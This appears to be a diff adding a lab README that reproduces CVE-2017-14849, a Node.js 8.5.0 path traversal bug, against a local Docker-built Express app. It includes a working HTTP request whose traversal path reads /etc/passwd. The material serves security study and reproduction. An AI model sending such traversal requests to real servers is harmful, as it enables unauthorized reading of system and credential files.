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+# Node.js 8.5.0 Path Traversal (CVE-2017-14849)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Node.js is a cross-platform, open-source JavaScript runtime environment. Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
+
+The vulnerability exists due to a logic error in Node.js 8.5.0's `normalize` function when handling directory paths. When traversing up directories (e.g., `../../../../../../etc/passwd`), adding `foo/../` in the middle of the path (e.g., `../../../foo/../../../../etc/passwd`) causes `normalize` to incorrectly return `/etc/passwd`, when the correct result should be `../../../../../../etc/passwd`.
+
+Web frameworks like Express typically provide static file server functionality that relies on the `normalize` function. For example, Express uses the `normalize` function to check if a path exceeds the static directory boundaries. The above bug causes the `normalize` function to return incorrect results, bypassing these checks and leading to arbitrary file read vulnerabilities.
+
+While the `normalize` bug could potentially affect more than just Express and requires further investigation, its impact is limited since the bug was introduced in Node.js 8.5.0 and was fixed in version 8.6.
+
+Reference links:
+
+ - https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/
+ - https://security.tencent.com/index.php/blog/msg/121
+
+## Environment Setup
+
+Run following commands to build and run a vulnerable application based on the Node.JS 8.5.0 and Express 4.15.5:
+
+```
+docker compose build
+docker compose up -d
+```
+
+Visit `http://your-ip:3000/` to see a web page that references the file `/static/main.js`, indicating the presence of a static file server.
+
+## Vulnerability Reproduce
+
+Send the following request to read the passwd file:
+
+```
+GET /static/../../../a/../../../../etc/passwd HTTP/1.1
+Host: your-ip:3000
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+
+
+```
+
+![](1.png)